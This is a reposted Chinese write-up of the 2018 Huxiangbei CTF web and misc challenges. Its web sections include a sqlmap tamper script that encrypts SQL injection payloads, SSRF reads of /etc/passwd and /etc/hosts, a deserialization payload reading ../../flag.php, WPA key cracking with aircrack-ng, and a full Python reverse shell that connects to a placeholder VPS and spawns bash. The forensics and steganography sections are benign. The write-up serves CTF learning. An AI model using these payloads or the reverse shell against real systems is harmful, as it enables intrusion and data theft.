2018湖湘杯web、misc记录
? ? ? ? ??
1.題目名 Code Check
?
?
? ? 打開題目,右鍵發現有id參數的url,簡單base64解碼以后發現不是明文,說明利用了其他的加密方式,那么應該會有具體的加密方式給我們,于是試試常見的文件泄露,可以發現list.zip,打開發現是具體的解密邏輯與查詢邏輯。
? ??
?
??? 有了解密邏輯我們就可以逆著寫出加密邏輯,另外id參數明顯存在注入,只需要寫一個加密的sqlmap的tamper腳本,然后放到sqlmap的tamper目錄下就可以了,之后在sqlmap里跑一跑就可以出flag
?
? ? ? ? ? 下面是改過的tamper腳本
#!/usr/bin/env python"""Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)See the file 'LICENSE' for copying permission"""import base64from Crypto.Cipher import AESfrom lib.core.enums import PRIORITYfrom lib.core.settings import UNICODE_ENCODING__priority__ = PRIORITY.LOWESTdef dependencies():passdef encrypt(text):padding = '\0'key = 'ydhaqPQnexoaDuW3'iv = '2018201920202021'pad_it = lambda s: s+(16 - len(s)%16)*paddingcipher = AES.new(key, AES.MODE_CBC, iv)text = text + 'hxb2018'return base64.b64encode(base64.b64encode(cipher.encrypt(pad_it(text))))def tamper(payload, **kwargs):return encrypt(payload)?
?
?
2.題目名 Flow
? ? ? ? ?題目是個流量包,802.11的,數據包是加密的,所以嘗試一下能不能爆破出來key來解密一下上層的其他數據包來找flag,一般做無線的題目需要用到aircrack-ng這個無線破解工具。
?? 首先需要一個弱密碼的字典,然后運行 aircrack-ng -w 字典名 + 流量包,運氣比較好剛好爆破出來了key為password1
?
?
?? ?有了key就能導入到wireshark里面對wpa加密的無線數據包進行解密
?
?
? ? ? ? ? ? ? ? ?解密之后在導出http對象中發現flag
?
?
? ??
?
?
3.題目名 readflag
??? ssrf的題目,首先讀了下/etc/passwd沒有什么有用的東西,所以繼續讀一下/etc/hosts發現內網里面有兩臺主機
?
?
?
?
?
???? 經過簡單測試,發現題目的內網主機號為230,另一臺內網機器的主機號是183,所以嘗試讀一下另一個機器上的文件,首先讀一下apache的配置文件,發現如下路徑樹
?
?
???? 又因為http的網站在站點的配置文件下有默認的000-default.conf,所以嘗試訪問如下:
?
?
? ? ? ? ? ?發現了web的源碼路徑,直接讀取
?
?
??? 發現路徑/var/www/html/ssrf/readflag,嘗試訪問是個elf,一堆亂碼,所以用wget下載這個elf,然后ida里面加載一下發現如下:
?
?
??? 所以更改一下路徑,讀取如下,得到flag
?
?
4.題目名 mynote
??????? 這是一道反序列化的題目,在我們注冊登陸以后,在抓包中發現picture參數有問題,base64解碼發現其為序列化的數據,所以猜測是否其存在反序列化漏洞,我們上傳一個jpg文件
?
?
?? 又因為后端會訪問我們上傳的圖片并會返回到前端,所以嘗試是否可以讀取任意文件,上傳1.jpg以后,抓包并且改為payload為a:1:{i:0;s:14:”../../flag.php”;},然后放包如下圖所示,可以看到一串base64編碼
?
?
?
解密后就能看到flag如上圖所示
?
5. 管理員的flag在哪里?
?????? 注冊登陸后,在添加標題那里剛開始選擇“是”這個選項,以為是xss,但是沒效果,于是選擇“否”,添加標題后發現有show頁面,嘗試了一下模板注入的payload
?
?
?
?
?
?
?????? 返回了9說明的確存在模板注入,于是嘗試是否可以執行命令
構造payload如下:
?
?
???? 返回的值證明可以執行命令,又繼續嘗試了一下curl和wget 都能使用,所以嘗試反彈一下shell試試,在vps上監聽一下端口,使用exp下載vps上的shell.py文件并執行,構造以下payload:
?
?
?
shell如下:
#!/usr/bin/env python#coding:utf-8import osimport ptyimport socketlhost = "xx.xx.xx.xx" #vps的ip地址 lport = 21192 #vps的端口def main():s= socket.socket(socket.AF_INET,socket.SOCK_STREAM)s.connect((lhost,lport))os.dup2(s.fileno(),0)os.dup2(s.fileno(),1)os.dup2(s.fileno(),2)pty.spawn('/bin/bash')s.close()main()?
?
? ? ? ? ? ? ? ? 分別show以上的兩條payload以后就能夠拿到shell,在Xme0目錄下存在auto.js 查看它如下圖所示得到flag
?
6.disk
?下載一個是一個vmdk文件,首先看看能不能提取出來啥東西,這里需要用到7z
?
?
?
??? 提取出來里面有四個flag文件,但是打開并不是flag,隊友說可能跟NTFS隱藏數據流有關系,所以百度一波,在網上找到如下工具
?
?
?
能夠檢測出隱藏在文件中的NTFS數據流,搜索一下果然找到了可疑的數據流
?
?
??? 百度到ads原來是可以隱藏后門的,于是分別打開四個flag文件
?
?
?
??????? 打開flag1.txt后是一段二進制,在線將其轉化為字符串試試
?
?
? ? ? ? ? ?發現是flag,所以繼續轉換后面的三個文件中的二進制文件并轉換就可以得到flag
?
?
7.Hidden Write
?? 首先拿到圖片先binwalk一下,發現什么都沒有
?
?
??? 然后strings一下圖片
?
?
??? 結尾發現flag的一部分字符串78cd89c18c
??? 肯定在別的地方還有flag的其他部分,所以用16進制編輯器看看圖片,發現其有三個圖片其中兩張圖片沒有頭部的前8個字節,所以把兩張圖片摳出來加上頭部,就變成3張圖片了
?
?
????? 此時掏出stegsolve來給三張圖片用一用,在第二張圖中發現了bgr通道的lsb隱寫
?
?
???? hxb2018{1e30f3b836d78d25c ,由此得到了flag的另一個部分,此時明顯還少最后一個部分,此時有三張圖片當然想到用盲水印,以前在比賽中遇到過,所以用下圖所示的工具試試:
?
?
?
?
?????? 由于有3張圖片所以需要兩兩結合來花費3次來嘗試
?
?
?
?
??? 由此得到flag的最后一段為20b4a}
??? 最后拼接得到flag:
hxb2018{1e30f3b836d78d25c78cd89c18c20b4a}
?
轉載于:https://www.cnblogs.com/wfzWebSecuity/p/9986587.html
與50位技術專家面對面20年技術見證,附贈技術全景圖總結
以上是生活随笔為你收集整理的2018湖湘杯web、misc记录的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: TensorFlow学习入门
- 下一篇: 素数筛选-hdu2710